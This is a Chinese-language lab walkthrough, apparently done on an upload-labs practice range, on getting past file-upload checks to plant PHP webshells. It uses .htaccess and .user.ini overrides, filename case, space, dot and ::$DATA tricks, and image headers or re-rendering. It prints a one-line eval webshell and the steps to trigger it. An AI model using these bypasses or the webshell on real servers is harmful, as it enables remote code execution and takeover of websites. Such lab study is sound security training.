【文件读写】绕过验证下
.htaccess
在Apache服务器的运行体系中,.htaccess文件作为目录级别的配置载体,具备对上级配置进行局部覆盖的能力,其优先级高于全局配置文件,且修改后无需重启服务即可即时生效。攻击者正是利用这一特性,通过上传经恶意构造的.htaccess,使服务器在加载当前目录资源时误以为指定文件类型具备脚本执行权限,从而将原本受限的后缀名绕过校验,达成WebShell的解析与触发,实现对访问控制策略的隐蔽突破。
httpd-conf
httpd-conf作为统摄整站的全局配置文件,虽然规定了服务器的基本行为与安全基线,却因优先级较低且需重启才能生效,难以对目录级的动态篡改作出即时响应。防御方若仅依赖全局策略而忽视对目录级配置的强制校验,便会在文件上传与解析环节留下可被利用的缝隙;攻击者借此在特定目录内重新定义文件类型与执行权限,使防御体系在局部失效,最终完成针对上传限制的策略绕过,凸显出局部配置动态覆盖全局策略所带来的潜在风险。
绕过路径 | 被屏蔽的关键环节 | 具体屏蔽效果 | 对后续防御链的影响 |
---|---|---|---|
.htaccess 目录级篡改 | 文件落地可见性与解析控制权 | 即时把“.jpg/.txt”等无害后缀重映射为 PHP/CGI 执行入口,传统后缀黑白名单、MIME 校验、杀软静态扫描全部失效 | 上传-解析-审计链路失去对恶意脚本存在感的感知,纵深防御因源头失真而瘫痪 |
httpd-conf 全局级篡改 | 上传目录整体执行权限标记 | 将整站或指定目录设为“脚本可执行区”,Webshell 查杀、RASP 注入监控失去定位锚点 | 文件已落地却难以删除、脚本已运行却无日志可追,形成持续盲区 |
user.ini
user.ini 是 PHP 为用户或目录量身定制的“小宪法”,只要被扔进站点根目录,无需重启服务即可立刻覆盖 php.ini 的全局条款;攻击者把 auto_prepend_file、open_basedir 等关键指令悄悄改写后,就能让同目录下的任意后缀伪装成合法脚本,从而把传统依赖后缀白名单、MIME 校验和静态查杀的“上传即第一道关”变成“上传即放行”的真空地带。
php.ini 虽然统摄整个 PHP 运行环境,却因优先级低且需进程重启方可生效,对目录级动态篡改反应迟缓;一旦防御方仅把住主配置文件却未禁止用户级 ini 的写入权限,便等于在局部为攻击者开启“绿色通道”,使后续 Webshell 查杀、RASP 行为监控因源头失真而陷入“文件已落地却无人敢删、脚本已运行却无日志可追”的盲区,整条“上传-解析-审计”链路随之瘫痪。
用靶场来示范,首先在upload下创建一个.user.ini的文件,内容的意思就是包含1.txt。意味着所有php文件都会包含1.txt, 1.txt文件可以放木马文件
<?php
@eval($_POST['a']);echo "123"; #1.txt内容
?>
这段代码是一句话木马,用于远程执行 PHP 命令
在创建一个readme.php,用于读写生成的内容
<?php
header('Content-Type: text/html; charset=utf-8');
echo "该目录是上传文件保存,该文件为系统说明文件,请勿删除!";
?>
先上传.user.ini (没有任何反应) -->再上传1.txt(也没反应),验证一下,打开readme.php文件。发现读写了.user.ini文件并且包含了1.txt的内容
大小写绕过
由于 Windows 对文件名大小写不敏感,后台黑名单仅以小写形式拦截 .php
时,只需把后缀改为大写 .PHP
即可骗过校验、顺利落地文件;服务器依旧按 PHP 脚本解析,一举实现 WebShell 上传与执行。
空格绕过
Windows 会自动忽略文件名末尾的空格,但 PHP 黑名单检测不会;于是在 .php
后加个空格写成 shell.php
即可躲过校验、成功保存,系统仍按 PHP 解析执行。
加空格forward过去
末尾单点绕过
Windows 会丢弃文件名结尾的“点”,但 PHP 只删一次点且不再循环 trim;把 Shell 命名成 shell.php.
即可让黑名单判定为 .
(不在列表)而放行,落盘时系统自动去掉末尾点,最终生成 shell.php
并被解析。
ADS 特殊流绕过
NTFS 允许用“文件名::DATA”访问备用数据流,上传‘test.php::DATA时 Windows 实际写入的是
test.php,PHP 因
str_ireplace('::$DATA','')仅把字符串删掉而保留
.php`,文件既保存成功又能被当成 PHP 执行,从而绕过对主数据流的黑名单检查。
原理:Windows 系统下,若上传文件名为 test.php:$DATA
,服务器会生成一个 test.php
文件,内容与上传文件相同,并可被解析执行。
用notepad查看2.txt的数据流
生成一个3.php,服务器只生成一个 3.php
文件
发送回去,新标签打开去掉后面的::$DATA,能看到解析出来了,蚁剑连接也能成功
字节标识绕过
JPEG/JFIF:
0xFF 0xD8
PNG:
0x89 0x50
GIF:
0x47 0x49
BMP:
0x42 0x4D
服务器靠“文件头魔数”判断上传内容是否为真实图片,但只验头几个字节,后面数据不再检查。攻击者把 PHP 一句话附在合法图片头之后,形成“图马”——前端通过头字节检验,后端保存为 .jpg
;再借助解析漏洞(Apache 多后缀、文件包含、.user.ini
等)让服务器把图片当成 PHP 执行,从而拿到 WebShell
保存为后缀为.php的文件上传到upload14关
图片二次渲染
在上传后重新压缩/绘制图像,使原始内容(包括一句话木马)被丢弃,只有重新把 PHP 代码插入到 经渲染后仍保持不变的位置(如 JPEG 注释段、PNG IDAT 压缩数据或 GIF 帧调色板)才能绕过检查并保留执行点。
比较两张图片的格式,可以看到很多都被重写了,在匹配这里插入一句木马,绕过就可以上传